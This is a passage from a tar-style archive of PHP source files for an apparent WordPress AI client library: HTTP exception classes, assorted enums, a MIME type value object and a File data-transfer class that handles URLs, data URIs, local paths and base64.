            $errorMessage = sprintf('Redirect error (%d): Request needs to be retried at a different location', $statusCode);
        }
        // Try to extract the redirect location from headers
        $locationValues = $response->getHeader('Location');
        if ($locationValues !== null && !empty($locationValues)) {
            $location = $locationValues[0];
            $errorMessage .= ' - Location: ' . $location;
        }
        return new self($errorMessage, $statusCode);
    }
}
src/Providers/Http/Exception/ClientException.php000064400000004655152205304550016006 0ustar00<?php

declare (strict_types=1);
namespace WordPress\AiClient\Providers\Http\Exception;

use WordPress\AiClient\Common\Exception\InvalidArgumentException;
use WordPress\AiClient\Providers\Http\DTO\Request;
use WordPress\AiClient\Providers\Http\DTO\Response;
use WordPress\AiClient\Providers\Http\Util\ErrorMessageExtractor;
/**
 * Exception thrown for 4xx HTTP client errors.
 *
 * This represents errors where the client request was malformed,
 * unauthorized, forbidden, or otherwise invalid.
 *
 * @since 0.2.0
 */
class ClientException extends InvalidArgumentException
{
    /**
     * The request that failed.
     *
     * @var Request|null
     */
    protected ?Request $request = null;
    /**
     * Returns the request that failed as our Request DTO.
     *
     * @since 0.2.0
     *
     * @return Request
     * @throws \RuntimeException If no request is available
     */
    public function getRequest(): Request
    {
        if ($this->request === null) {
            throw new \RuntimeException('Request object not available. This exception was directly instantiated. ' . 'Use a factory method that provides request context.');
        }
        return $this->request;
    }
    /**
     * Creates a ClientException from a client error response (4xx).
     *
     * This method extracts error details from common API response formats
     * and creates an exception with a descriptive message and status code.
     *
     * @since 0.2.0
     *
     * @param Response $response The HTTP response that failed.
     * @return self
     */
    public static function fromClientErrorResponse(Response $response): self
    {
        $statusCode = $response->getStatusCode();
        $statusTexts = [400 => 'Bad Request', 401 => 'Unauthorized', 403 => 'Forbidden', 404 => 'Not Found', 422 => 'Unprocessable Entity', 429 => 'Too Many Requests'];
        if (isset($statusTexts[$statusCode])) {
            $errorMessage = sprintf('%s (%d)', $statusTexts[$statusCode], $statusCode);
        } else {
            $errorMessage = sprintf('Client error (%d): Request was rejected due to client-side issue', $statusCode);
        }
        // Extract error message from response data using centralized utility
        $extractedError = ErrorMessageExtractor::extractFromResponseData($response->getData());
        if ($extractedError !== null) {
            $errorMessage .= ' - ' . $extractedError;
        }
        return new self($errorMessage, $statusCode);
    }
}
src/Providers/Http/Exception/ServerException.php000064400000003425152205304550016030 0ustar00<?php

declare (strict_types=1);
namespace WordPress\AiClient\Providers\Http\Exception;

use WordPress\AiClient\Common\Exception\RuntimeException;
use WordPress\AiClient\Providers\Http\DTO\Response;
use WordPress\AiClient\Providers\Http\Util\ErrorMessageExtractor;
/**
 * Exception thrown for 5xx HTTP server errors.
 *
 * This represents errors where the server failed to fulfill
 * a valid request due to internal server errors.
 *
 * @since 0.2.0
 */
class ServerException extends RuntimeException
{
    /**
     * Creates a ServerException from a server error response.
     *
     * This method extracts error details from common API response formats
     * and creates an exception with a descriptive message and status code.
     *
     * @since 0.2.0
     *
     * @param Response $response The HTTP response that failed.
     * @return self
     */
    public static function fromServerErrorResponse(Response $response): self
    {
        $statusCode = $response->getStatusCode();
        $statusTexts = [500 => 'Internal Server Error', 502 => 'Bad Gateway', 503 => 'Service Unavailable', 504 => 'Gateway Timeout', 507 => 'Insufficient Storage', 529 => 'Overloaded'];
        if (isset($statusTexts[$statusCode])) {
            $errorMessage = sprintf('%s (%d)', $statusTexts[$statusCode], $statusCode);
        } else {
            $errorMessage = sprintf('Server error (%d): Request was rejected due to server-side issue', $statusCode);
        }
        // Extract error message from response data using centralized utility
        $extractedError = ErrorMessageExtractor::extractFromResponseData($response->getData());
        if ($extractedError !== null) {
            $errorMessage .= ' - ' . $extractedError;
        }
        return new self($errorMessage, $response->getStatusCode());
    }
}
src/Providers/Http/Exception/NetworkException.php000064400000003512152205304550016210 0ustar00<?php

declare (strict_types=1);
namespace WordPress\AiClient\Providers\Http\Exception;

use WordPress\AiClientDependencies\Psr\Http\Message\RequestInterface;
use WordPress\AiClient\Common\Exception\RuntimeException;
use WordPress\AiClient\Providers\Http\DTO\Request;
/**
 * Exception thrown for network-related errors.
 *
 * This includes HTTP transport errors, connection failures,
 * timeouts, and other network-related issues.
 *
 * @since 0.2.0
 */
class NetworkException extends RuntimeException
{
    /**
     * The request that failed.
     *
     * @var Request|null
     */
    protected ?Request $request = null;
    /**
     * Returns the request that failed as our Request DTO.
     *
     * @since 0.2.0
     *
     * @return Request
     * @throws \RuntimeException If no request is available
     */
    public function getRequest(): Request
    {
        if ($this->request === null) {
            throw new \RuntimeException('Request object not available. This exception was directly instantiated. ' . 'Use a factory method that provides request context.');
        }
        return $this->request;
    }
    /**
     * Creates a NetworkException from a PSR-18 network exception.
     *
     * @since 0.2.0
     *
     * @param RequestInterface $psrRequest The PSR-7 request that failed.
     * @param \Throwable $networkException The PSR-18 network exception.
     * @return self
     */
    public static function fromPsr18NetworkException(RequestInterface $psrRequest, \Throwable $networkException): self
    {
        $request = Request::fromPsrRequest($psrRequest);
        $message = sprintf('Network error occurred while sending request to %s: %s', $request->getUri(), $networkException->getMessage());
        $exception = new self($message, 0, $networkException);
        $exception->request = $request;
        return $exception;
    }
}
src/Providers/Http/Enums/RequestAuthenticationMethod.php000064400000002344152205304550017524 0ustar00<?php

declare (strict_types=1);
namespace WordPress\AiClient\Providers\Http\Enums;

use WordPress\AiClient\Common\AbstractEnum;
use WordPress\AiClient\Common\Contracts\WithArrayTransformationInterface;
use WordPress\AiClient\Providers\Http\Contracts\RequestAuthenticationInterface;
use WordPress\AiClient\Providers\Http\DTO\ApiKeyRequestAuthentication;
/**
 * Enum for request authentication methods.
 *
 * @since 0.4.0
 *
 * @method static self apiKey() Creates an instance for API_KEY method.
 * @method bool isApiKey() Checks if the method is API_KEY.
 */
class RequestAuthenticationMethod extends AbstractEnum
{
    /**
     * API key authentication.
     */
    public const API_KEY = 'api_key';
    /**
     * Gets the implementation class for the authentication method.
     *
     * @since 0.4.0
     *
     * @return class-string<RequestAuthenticationInterface&WithArrayTransformationInterface> The implementation class.
     *
     * @phpstan-ignore missingType.generics
     */
    public function getImplementationClass(): string
    {
        // At the moment, this is the only supported method.
        // Once more methods are available, add conditionals here for each method.
        return ApiKeyRequestAuthentication::class;
    }
}
src/Providers/Http/Enums/HttpMethodEnum.php000064400000004750152205304550014743 0ustar00<?php

declare (strict_types=1);
namespace WordPress\AiClient\Providers\Http\Enums;

use WordPress\AiClient\Common\AbstractEnum;
/**
 * Represents HTTP request methods.
 *
 * @since 0.1.0
 *
 * @method static self GET()
 * @method static self POST()
 * @method static self PUT()
 * @method static self PATCH()
 * @method static self DELETE()
 * @method static self HEAD()
 * @method static self OPTIONS()
 * @method static self CONNECT()
 * @method static self TRACE()
 *
 * @method bool isGet()
 * @method bool isPost()
 * @method bool isPut()
 * @method bool isPatch()
 * @method bool isDelete()
 * @method bool isHead()
 * @method bool isOptions()
 * @method bool isConnect()
 * @method bool isTrace()
 */
final class HttpMethodEnum extends AbstractEnum
{
    /**
     * GET method for retrieving resources.
     *
     * @var string
     */
    public const GET = 'GET';
    /**
     * POST method for creating resources.
     *
     * @var string
     */
    public const POST = 'POST';
    /**
     * PUT method for updating/replacing resources.
     *
     * @var string
     */
    public const PUT = 'PUT';
    /**
     * PATCH method for partially updating resources.
     *
     * @var string
     */
    public const PATCH = 'PATCH';
    /**
     * DELETE method for removing resources.
     *
     * @var string
     */
    public const DELETE = 'DELETE';
    /**
     * HEAD method for retrieving headers only.
     *
     * @var string
     */
    public const HEAD = 'HEAD';
    /**
     * OPTIONS method for retrieving allowed methods.
     *
     * @var string
     */
    public const OPTIONS = 'OPTIONS';
    /**
     * CONNECT method for establishing tunnel.
     *
     * @var string
     */
    public const CONNECT = 'CONNECT';
    /**
     * TRACE method for diagnostic purposes.
     *
     * @var string
     */
    public const TRACE = 'TRACE';
    /**
     * Checks if this method is idempotent.
     *
     * @since 0.1.0
     *
     * @return bool True if the method is idempotent, false otherwise.
     */
    public function isIdempotent(): bool
    {
        return in_array($this->value, [self::GET, self::HEAD, self::OPTIONS, self::TRACE, self::PUT, self::DELETE], \true);
    }
    /**
     * Checks if this method typically has a request body.
     *
     * @since 0.1.0
     *
     * @return bool True if the method typically has a body, false otherwise.
     */
    public function hasBody(): bool
    {
        return in_array($this->value, [self::POST, self::PUT, self::PATCH], \true);
    }
}
src/Files/Enums/FileTypeEnum.php000064400000001330152205304550012541 0ustar00<?php

declare (strict_types=1);
namespace WordPress\AiClient\Files\Enums;

use WordPress\AiClient\Common\AbstractEnum;
/**
 * Represents the type of file storage.
 *
 * @method static self inline() Returns the inline file type.
 * @method static self remote() Returns the remote file type.
 * @method bool isInline() Checks if this is an inline file type.
 * @method bool isRemote() Checks if this is a remote file type.
 *
 * @since 0.1.0
 */
class FileTypeEnum extends AbstractEnum
{
    /**
     * Inline file with base64-encoded data.
     *
     * @var string
     */
    public const INLINE = 'inline';
    /**
     * Remote file referenced by URL.
     *
     * @var string
     */
    public const REMOTE = 'remote';
}
src/Files/Enums/MediaOrientationEnum.php000064400000001730152205304550014257 0ustar00<?php

declare (strict_types=1);
namespace WordPress\AiClient\Files\Enums;

use WordPress\AiClient\Common\AbstractEnum;
/**
 * Represents the type of file storage.
 *
 * @method static self square() Returns the square orientation
 * @method static self landscape() Returns the landscape orientation.
 * @method static self portrait() Returns the portrait orientation.
 * @method bool isSquare() Checks if this is an square orientation
 * @method bool isLandscape() Checks if this is a landscape orientation.
 * @method bool isPortrait() Checks if this is a portrait orientation.
 *
 * @since 0.1.0
 */
class MediaOrientationEnum extends AbstractEnum
{
    /**
     * Square orientation.
     *
     * @var string
     */
    public const SQUARE = 'square';
    /**
     * Landscape orientation.
     *
     * @var string
     */
    public const LANDSCAPE = 'landscape';
    /**
     * Portrait orientation.
     *
     * @var string
     */
    public const PORTRAIT = 'portrait';
}
src/Files/ValueObjects/MimeType.php000064400000017554152205304550013242 0ustar00<?php

declare (strict_types=1);
namespace WordPress\AiClient\Files\ValueObjects;

use WordPress\AiClient\Common\Exception\InvalidArgumentException;
/**
 * Value object representing a MIME type.
 *
 * This immutable value object encapsulates MIME type validation and
 * provides convenient methods for checking MIME type categories.
 *
 * @since 0.1.0
 */
final class MimeType
{
    /**
     * @var string The MIME type value.
     */
    private string $value;
    /**
     * Common MIME type mappings for file extensions.
     *
     * @var array<string, string>
     */
    private static array $extensionMap = [
        // Text
        'txt' => 'text/plain',
        'html' => 'text/html',
        'htm' => 'text/html',
        'css' => 'text/css',
        'js' => 'application/javascript',
        'json' => 'application/json',
        'xml' => 'application/xml',
        'csv' => 'text/csv',
        'md' => 'text/markdown',
        // Images
        'jpg' => 'image/jpeg',
        'jpeg' => 'image/jpeg',
        'png' => 'image/png',
        'gif' => 'image/gif',
        'bmp' => 'image/bmp',
        'webp' => 'image/webp',
        'svg' => 'image/svg+xml',
        'ico' => 'image/x-icon',
        // Documents
        'pdf' => 'application/pdf',
        'doc' => 'application/msword',
        'docx' => 'application/vnd.openxmlformats-officedocument.wordprocessingml.document',
        'xls' => 'application/vnd.ms-excel',
        'xlsx' => 'application/vnd.openxmlformats-officedocument.spreadsheetml.sheet',
        'ppt' => 'application/vnd.ms-powerpoint',
        'pptx' => 'application/vnd.openxmlformats-officedocument.presentationml.presentation',
        'odt' => 'application/vnd.oasis.opendocument.text',
        'ods' => 'application/vnd.oasis.opendocument.spreadsheet',
        // Archives
        'zip' => 'application/zip',
        'tar' => 'application/x-tar',
        'gz' => 'application/gzip',
        'rar' => 'application/x-rar-compressed',
        '7z' => 'application/x-7z-compressed',
        // Audio
        'mp3' => 'audio/mpeg',
        'wav' => 'audio/wav',
        'ogg' => 'audio/ogg',
        'flac' => 'audio/flac',
        'm4a' => 'audio/m4a',
        'aac' => 'audio/aac',
        // Video
        'mp4' => 'video/mp4',
        'avi' => 'video/x-msvideo',
        'mov' => 'video/quicktime',
        'wmv' => 'video/x-ms-wmv',
        'flv' => 'video/x-flv',
        'webm' => 'video/webm',
        'mkv' => 'video/x-matroska',
        // Fonts
        'ttf' => 'font/ttf',
        'otf' => 'font/otf',
        'woff' => 'font/woff',
        'woff2' => 'font/woff2',
        // Other
        'php' => 'application/x-httpd-php',
        'sh' => 'application/x-sh',
        'exe' => 'application/x-msdownload',
    ];
    /**
     * Document MIME types.
     *
     * @var array<string>
     */
    private static array $documentTypes = ['application/pdf', 'application/msword', 'application/vnd.openxmlformats-officedocument.wordprocessingml.document', 'application/vnd.ms-excel', 'application/vnd.openxmlformats-officedocument.spreadsheetml.sheet', 'application/vnd.ms-powerpoint', 'application/vnd.openxmlformats-officedocument.presentationml.presentation', 'application/vnd.oasis.opendocument.text', 'application/vnd.oasis.opendocument.spreadsheet'];
    /**
     * Constructor.
     *
     * @since 0.1.0
     *
     * @param string $value The MIME type value.
     * @throws InvalidArgumentException If the MIME type is invalid.
     */
    public function __construct(string $value)
    {
        if (!self::isValid($value)) {
            throw new InvalidArgumentException(sprintf('Invalid MIME type: %s', $value));
        }
        $this->value = strtolower($value);
    }
    /**
     * Gets the primary known file extension for this MIME type.
     *
     * @since 0.1.0
     *
     * @return string The file extension (without the dot).
     * @throws InvalidArgumentException If no known extension exists for this MIME type.
     */
    public function toExtension(): string
    {
        // Reverse lookup for the MIME type to find the extension.
        $extension = array_search($this->value, self::$extensionMap, \true);
        if ($extension === \false) {
            throw new InvalidArgumentException(sprintf('No known extension for MIME type: %s', $this->value));
        }
        return $extension;
    }
    /**
     * Creates a MimeType from a file extension.
     *
     * @since 0.1.0
     *
     * @param string $extension The file extension (without the dot).
     * @return self The MimeType instance.
     * @throws InvalidArgumentException If the extension is not recognized.
     */
    public static function fromExtension(string $extension): self
    {
        $extension = strtolower($extension);
        if (!isset(self::$extensionMap[$extension])) {
            throw new InvalidArgumentException(sprintf('Unknown file extension: %s', $extension));
        }
        return new self(self::$extensionMap[$extension]);
    }
    /**
     * Checks if a MIME type string is valid.
     *
     * @since 0.1.0
     *
     * @param string $mimeType The MIME type to validate.
     * @return bool True if valid.
     */
    public static function isValid(string $mimeType): bool
    {
        // Basic MIME type validation: type/subtype
        return (bool) preg_match('/^[a-zA-Z0-9][a-zA-Z0-9!#$&\-\^_+.]*\/[a-zA-Z0-9][a-zA-Z0-9!#$&\-\^_+.]*$/', $mimeType);
    }
    /**
     * Checks if this MIME type is a specific type.
     *
     * This method returns true when the stored MIME type begins with the
     * given prefix. For example, `"audio"` matches `"audio/mpeg"`.
     *
     * @since 0.1.0
     *
     * @param string $mimeType The MIME type prefix to check (e.g., "audio", "image").
     * @return bool True if this MIME type is of the specified type.
     */
    public function isType(string $mimeType): bool
    {
        return str_starts_with($this->value, strtolower($mimeType) . '/');
    }
    /**
     * Checks if this is an image MIME type.
     *
     * @since 0.1.0
     *
     * @return bool True if this is an image type.
     */
    public function isImage(): bool
    {
        return $this->isType('image');
    }
    /**
     * Checks if this is an audio MIME type.
     *
     * @since 0.1.0
     *
     * @return bool True if this is an audio type.
     */
    public function isAudio(): bool
    {
        return $this->isType('audio');
    }
    /**
     * Checks if this is a video MIME type.
     *
     * @since 0.1.0
     *
     * @return bool True if this is a video type.
     */
    public function isVideo(): bool
    {
        return $this->isType('video');
    }
    /**
     * Checks if this is a text MIME type.
     *
     * @since 0.1.0
     *
     * @return bool True if this is a text type.
     */
    public function isText(): bool
    {
        return $this->isType('text');
    }
    /**
     * Checks if this is a document MIME type.
     *
     * @since 0.1.0
     *
     * @return bool True if this is a document type.
     */
    public function isDocument(): bool
    {
        return in_array($this->value, self::$documentTypes, \true);
    }
    /**
     * Checks if this MIME type equals another.
     *
     * @since 0.1.0
     *
     * @param self|string $other The other MIME type to compare.
     * @return bool True if equal.
     * @throws InvalidArgumentException If the other MIME type is invalid.
     */
    public function equals($other): bool
    {
        if ($other instanceof self) {
            return $this->value === $other->value;
        }
        if (is_string($other)) {
            return $this->value === strtolower($other);
        }
        throw new InvalidArgumentException(sprintf('Invalid MIME type comparison: %s', gettype($other)));
    }
    /**
     * Gets the string representation of the MIME type.
     *
     * @since 0.1.0
     *
     * @return string The MIME type value.
     */
    public function __toString(): string
    {
        return $this->value;
    }
}
src/Files/DTO/File.php000064400000032326152205304550010422 0ustar00<?php

declare (strict_types=1);
namespace WordPress\AiClient\Files\DTO;

use WordPress\AiClient\Common\AbstractDataTransferObject;
use WordPress\AiClient\Common\Exception\InvalidArgumentException;
use WordPress\AiClient\Common\Exception\RuntimeException;
use WordPress\AiClient\Files\Enums\FileTypeEnum;
use WordPress\AiClient\Files\ValueObjects\MimeType;
/**
 * Represents a file in the AI client.
 *
 * This DTO automatically detects whether a file is a URL, base64 data, or local file path
 * and handles them appropriately.
 *
 * @since 0.1.0
 *
 * @phpstan-type FileArrayShape array{
 *     fileType: string,
 *     url?: string,
 *     mimeType: string,
 *     base64Data?: string
 * }
 *
 * @extends AbstractDataTransferObject<FileArrayShape>
 */
class File extends AbstractDataTransferObject
{
    public const KEY_FILE_TYPE = 'fileType';
    public const KEY_MIME_TYPE = 'mimeType';
    public const KEY_URL = 'url';
    public const KEY_BASE64_DATA = 'base64Data';
    /**
     * @var MimeType The MIME type of the file.
     */
    private MimeType $mimeType;
    /**
     * @var FileTypeEnum The type of file storage.
     */
    private FileTypeEnum $fileType;
    /**
     * @var string|null The URL for remote files.
     */
    private ?string $url = null;
    /**
     * @var string|null The base64 data for inline files.
     */
    private ?string $base64Data = null;
    /**
     * Constructor.
     *
     * @since 0.1.0
     *
     * @param string $file The file string (URL, base64 data, or local path).
     * @param string|null $mimeType The MIME type of the file (optional).
     * @throws InvalidArgumentException If the file format is invalid or MIME type cannot be determined.
     */
    public function __construct(string $file, ?string $mimeType = null)
    {
        // Detect and process the file type (will set MIME type if possible)
        $this->detectAndProcessFile($file, $mimeType);
    }
    /**
     * Detects the file type and processes it accordingly.
     *
     * @since 0.1.0
     *
     * @param string $file The file string to process.
     * @param string|null $providedMimeType The explicitly provided MIME type.
     * @throws InvalidArgumentException If the file format is invalid or MIME type cannot be determined.
     */
    private function detectAndProcessFile(string $file, ?string $providedMimeType): void
    {
        // Check if it's a URL
        if ($this->isUrl($file)) {
            $this->fileType = FileTypeEnum::remote();
            $this->url = $file;
            $this->mimeType = $this->determineMimeType($providedMimeType, null, $file);
            return;
        }
        // Data URI pattern.
        $dataUriPattern = '/^data:(?:([a-zA-Z0-9][a-zA-Z0-9!#$&\-\^_+.]*\/[a-zA-Z0-9][a-zA-Z0-9!#$&\-\^_+.]*' . '(?:;[a-zA-Z0-9\-]+=[a-zA-Z0-9\-]+)*)?;)?base64,([A-Za-z0-9+\/]*={0,2})$/';
        // Check if it's a data URI.
        if (preg_match($dataUriPattern, $file, $matches)) {
            $this->fileType = FileTypeEnum::inline();
            $this->base64Data = $matches[2];
            // Extract just the base64 data
            $extractedMimeType = empty($matches[1]) ? null : $matches[1];
            $this->mimeType = $this->determineMimeType($providedMimeType, $extractedMimeType, null);
            return;
        }
        // Check if it's a local file path (before base64 check)
        if (file_exists($file) && is_file($file)) {
            $this->fileType = FileTypeEnum::inline();
            $this->base64Data = $this->convertFileToBase64($file);
            $this->mimeType = $this->determineMimeType($providedMimeType, null, $file);
            return;
        }
        // Check if it's plain base64
        if (preg_match('/^[A-Za-z0-9+\/]*={0,2}$/', $file)) {
            if ($providedMimeType === null) {
                throw new InvalidArgumentException('MIME type is required when providing plain base64 data without data URI format.');
            }
            $this->fileType = FileTypeEnum::inline();
            $this->base64Data = $file;
            $this->mimeType = new MimeType($providedMimeType);
            return;
        }
        throw new InvalidArgumentException('Invalid file provided. Expected URL, base64 data, or valid local file path.');
    }
    /**
     * Checks if a string is a valid URL.
     *
     * @since 0.1.0
     *
     * @param string $string The string to check.
     * @return bool True if the string is a URL.
     */
    private function isUrl(string $string): bool
    {
        return filter_var($string, \FILTER_VALIDATE_URL) !== \false && preg_match('/^https?:\/\//i', $string);
    }
    /**
     * Converts a local file to base64.
     *
     * @since 0.1.0
     *
     * @param string $filePath The path to the local file.
     * @return string The base64-encoded file data.
     * @throws RuntimeException If the file cannot be read.
     */
    private function convertFileToBase64(string $filePath): string
    {
        $fileContent = @file_get_contents($filePath);
        if ($fileContent === \false) {
            throw new RuntimeException(sprintf('Unable to read file: %s', $filePath));
        }
        return base64_encode($fileContent);
    }
    /**
     * Gets the file type.
     *
     * @since 0.1.0
     *
     * @return FileTypeEnum The file type.
     */
    public function getFileType(): FileTypeEnum
    {
        return $this->fileType;
    }
    /**
     * Checks if the file is an inline file.
     *
     * @since 0.1.0
     *
     * @return bool True if the file is inline (base64/data URI).
     */
    public function isInline(): bool
    {
        return $this->fileType->isInline();
    }
    /**
     * Checks if the file is a remote file.
     *
     * @since 0.1.0
     *
     * @return bool True if the file is remote (URL).
     */
    public function isRemote(): bool
    {
        return $this->fileType->isRemote();
    }
    /**
     * Gets the URL for remote files.
     *
     * @since 0.1.0
     *
     * @return string|null The URL, or null if not a remote file.
     */
    public function getUrl(): ?string
    {
        return $this->url;
    }
    /**
     * Gets the base64-encoded data for inline files.
     *
     * @since 0.1.0
     *
     * @return string|null The plain base64-encoded data (without data URI prefix), or null if not an inline file.
     */
    public function getBase64Data(): ?string
    {
        return $this->base64Data;
    }
    /**
     * Gets the data as a data URI for inline files.
     *
     * @since 0.1.0
     *
     * @return string|null The data URI in format: data:[mimeType];base64,[data], or null if not an inline file.
     */
    public function getDataUri(): ?string
    {
        if ($this->base64Data === null) {
            return null;
        }
        return sprintf('data:%s;base64,%s', $this->getMimeType(), $this->base64Data);
    }
    /**
     * Gets the MIME type of the file as a string.
     *
     * @since 0.1.0
     *
     * @return string The MIME type string value.
     */
    public function getMimeType(): string
    {
        return (string) $this->mimeType;
    }
    /**
     * Gets the MIME type object.
     *
     * @since 0.1.0
     *
     * @return MimeType The MIME type object.
     */
    public function getMimeTypeObject(): MimeType
    {
        return $this->mimeType;
    }
    /**
     * Checks if the file is a video.
     *
     * @since 0.1.0
     *
     * @return bool True if the file is a video.
     */
    public function isVideo(): bool
    {
        return $this->mimeType->isVideo();
    }
    /**
     * Checks if the file is an image.
     *
     * @since 0.1.0
     *
     * @return bool True if the file is an image.
     */
    public function isImage(): bool
    {
        return $this->mimeType->isImage();
    }
    /**
     * Checks if the file is audio.
     *
     * @since 0.1.0
     *
     * @return bool True if the file is audio.
     */
    public function isAudio(): bool
    {
        return $this->mimeType->isAudio();
    }
    /**
     * Checks if the file is text.
     *
     * @since 0.1.0
     *
     * @return bool True if the file is text.
     */
    public function isText(): bool
    {
        return $this->mimeType->isText();
    }
    /**
     * Checks if the file is a document.
     *
     * @since 0.1.0
     *
     * @return bool True if the file is a document.
     */
    public function isDocument(): bool
    {
        return $this->mimeType->isDocument();
    }
    /**
     * Checks if the file is a specific MIME type.
     *
     * @since 0.1.0
     *
     * @param string $type The mime type to check (e.g. 'image', 'text', 'video', 'audio').
     *
     * @return bool True if the file is of the specified type.
     */
    public function isMimeType(string $type): bool
    {
        return $this->mimeType->isType($type);
    }
    /**
     * Determines the MIME type from various sources.
     *
     * @since 0.1.0
     *
     * @param string|null $providedMimeType The explicitly provided MIME type.
     * @param string|null $extractedMimeType The MIME type extracted from data URI.
     * @param string|null $pathOrUrl The file path or URL to extract extension from.
     * @return MimeType The determined MIME type.
     * @throws InvalidArgumentException If MIME type cannot be determined.
     */
    private function determineMimeType(?string $providedMimeType, ?string $extractedMimeType, ?string $pathOrUrl): MimeType
    {
        // Prefer explicitly provided MIME type
        if ($providedMimeType !== null) {
            return new MimeType($providedMimeType);
        }
        // Use extracted MIME type from data URI
        if ($extractedMimeType !== null) {
            return new MimeType($extractedMimeType);
        }
        // Try to determine from file extension
        if ($pathOrUrl !== null) {
            $parsedUrl = parse_url($pathOrUrl);
            $path = $parsedUrl['path'] ?? $pathOrUrl;
            // Remove query string and fragment if present
            $cleanPath = strtok($path, '?#');
            if ($cleanPath === \false) {
                $cleanPath = $path;
            }
            $extension = pathinfo($cleanPath, \PATHINFO_EXTENSION);
            if (!empty($extension)) {
                try {
                    return MimeType::fromExtension($extension);
                } catch (InvalidArgumentException $e) {
                    // Extension not recognized, continue to error
                    unset($e);
                }
            }
        }
        throw new InvalidArgumentException('Unable to determine MIME type. Please provide it explicitly.');
    }
    /**
     * {@inheritDoc}
     *
     * @since 0.1.0
     */
    public static function getJsonSchema(): array
    {
        return ['type' => 'object', 'oneOf' => [['properties' => [self::KEY_FILE_TYPE => ['type' => 'string', 'const' => FileTypeEnum::REMOTE, 'description' => 'The file type.'], self::KEY_MIME_TYPE => ['type' => 'string', 'description' => 'The MIME type of the file.', 'pattern' => '^[a-zA-Z0-9][a-zA-Z0-9!#$&\-\^_+.]*\/[a-zA-Z0-9]' . '[a-zA-Z0-9!#$&\-\^_+.]*$'], self::KEY_URL => ['type' => 'string', 'format' => 'uri', 'description' => 'The URL to the remote file.']], 'required' => [self::KEY_FILE_TYPE, self::KEY_MIME_TYPE, self::KEY_URL]], ['properties' => [self::KEY_FILE_TYPE => ['type' => 'string', 'const' => FileTypeEnum::INLINE, 'description' => 'The file type.'], self::KEY_MIME_TYPE => ['type' => 'string', 'description' => 'The MIME type of the file.', 'pattern' => '^[a-zA-Z0-9][a-zA-Z0-9!#$&\-\^_+.]*\/[a-zA-Z0-9]' . '[a-zA-Z0-9!#$&\-\^_+.]*$'], self::KEY_BASE64_DATA => ['type' => 'string', 'description' => 'The base64-encoded file data.']], 'required' => [self::KEY_FILE_TYPE, self::KEY_MIME_TYPE, self::KEY_BASE64_DATA]]]];
    }
    /**
     * {@inheritDoc}
     *
     * @since 0.1.0
     *
     * @return FileArrayShape
     */
    public function toArray(): array
    {
        $data = [self::KEY_FILE_TYPE => $this->fileType->value, self::KEY_MIME_TYPE => $this->getMimeType()];
        if ($this->url !== null) {
            $data[self::KEY_URL] = $this->url;
        } elseif (!$this->fileType->isRemote() && $this->base64Data !== null) {
            $data[self::KEY_BASE64_DATA] = $this->base64Data;
        } else {
            throw new RuntimeException('File requires either url or base64Data. This should not be a possible condition.');
        }
        return $data;
    }
    /**
     * {@inheritDoc}
     *
     * @since 0.1.0
     */
    public static function fromArray(array $array): self
    {
        static::validateFromArrayData($array, [self::KEY_FILE_TYPE]);
        // Check which properties are set to determine how to construct the File
        $mimeType = $array[self::KEY_MIME_TYPE] ?? null;
        if (isset($array[self::KEY_URL])) {
            return new self($array[self::KEY_URL], $mimeType);
        } elseif (isset($array[self::KEY_BASE64_DATA])) {
            return new self($array[self::KEY_BASE64_DATA], $mimeType);
        } else {
            throw new InvalidArgumentException('File requires either url or base64Data.');
        }
    }
    /**
     * Performs a deep clone of the file.
     *
     * This method ensures that the MimeType value object is cloned to prevent
     * any shared references between the original and cloned file.
     *
     * @since 0.4.2
     */
    public function __clone()
    {
        $this->mimeType = clone $this->mimeType;
    }
}
src/Messages/Enums/MessagePartTypeEnum.php000064400000002171152205304550014606 0ustar00<?php

declare (strict_types=1);
namespace WordPress\AiClient\Messages\Enums;

use WordPress\AiClient\Common\AbstractEnum;
/**
 * Enum for message part types.
 *
 * @since 0.1.0
 *
 * @method static self text() Creates an instance for TEXT type.
 * @method static self file() Creates an instance for FILE type.
 * @method static self functionCall() Creates an instance for FUNCTION_CALL type.
 * @method static self functionResponse() Creates an instance for FUNCTION_RESPONSE type.
 * @method bool isText() Checks if the type is TEXT.
 * @method bool isFile() Checks if the type is FILE.
 * @method bool isFunctionCall() Checks if the type is FUNCTION_CALL.
 * @method bool isFunctionResponse() Checks if the type is FUNCTION_RESPONSE.
 */
class MessagePartTypeEnum extends AbstractEnum
{
    /**
     * Text content.
     */
    public const TEXT = 'text';
    /**
     * File content (inline or remote).
     */
    public const FILE = 'file';
    /**
     * Function call request.
     */
    public const FUNCTION_CALL = 'function_call';
    /**
     * Function response.
     */
    public const FUNCTION_RESPONSE = 'function_response';
}
src/Messages/Enums/ModalityEnum.php000064400000002407152205304550013315 0ustar00<?php

declare (strict_types=1);
namespace WordPress\AiClient\Messages\Enums;

use WordPress\AiClient\Common\AbstractEnum;
/**
 * Enum for input/output modalities.
 *
 * @since 0.1.0
 *
 * @method static self text() Creates an instance for TEXT modality.
 * @method static self document() Creates an instance for DOCUMENT modality.
 * @method static self image() Creates an instance for IMAGE modality.
 * @method static self audio() Creates an instance for AUDIO modality.
 * @method static self video() Creates an instance for VIDEO modality.
 * @method bool isText() Checks if the modality is TEXT.
 * @method bool isDocument() Checks if the modality is DOCUMENT.
 * @method bool isImage() Checks if the modality is IMAGE.
 * @method bool isAudio() Checks if the modality is AUDIO.
 * @method bool isVideo() Checks if the modality is VIDEO.
 */
class ModalityEnum extends AbstractEnum
{
    /**
     * Text modality.
     */
    public const TEXT = 'text';
    /**
     * Document modality (PDFs, Word docs, etc.).
     */
    public const DOCUMENT = 'document';
    /**
     * Image modality.
     */
    public const IMAGE = 'image';
    /**
     * Audio modality.
     */
    public const AUDIO = 'audio';
    /**
     * Video modality.
     */
    public const VIDEO = 'video';
}
src/Messages/Enums/MessagePartChannelEnum.php000064400000001264152205304550015237 0ustar00<?php

declare (strict_types=1);
namespace WordPress\AiClient\Messages\Enums;

use WordPress\AiClient\Common\AbstractEnum;
/**
 * Enum for message part channels.
 *
 * @since 0.1.0
 *
 * @method static self content() Creates an instance for CONTENT channel.
 * @method static self thought() Creates an instance for THOUGHT channel.
 * @method bool isContent() Checks if the channel is CONTENT.
 * @method bool isThought() Checks if the channel is THOUGHT.
 */
class MessagePartChannelEnum extends AbstractEnum
{
    /**
     * Regular (primary) content.
     */
    public const CONTENT = 'content';
    /**
     * Model thinking or reasoning.
     */
    public const THOUGHT = 'thought';
}
src/Messages/Enums/MessageRoleEnum.php000064400000001244152205304550013737 0ustar00<?php

declare (strict_types=1);
namespace WordPress\AiClient\Messages\Enums;

use WordPress\AiClient\Common\AbstractEnum;
/**
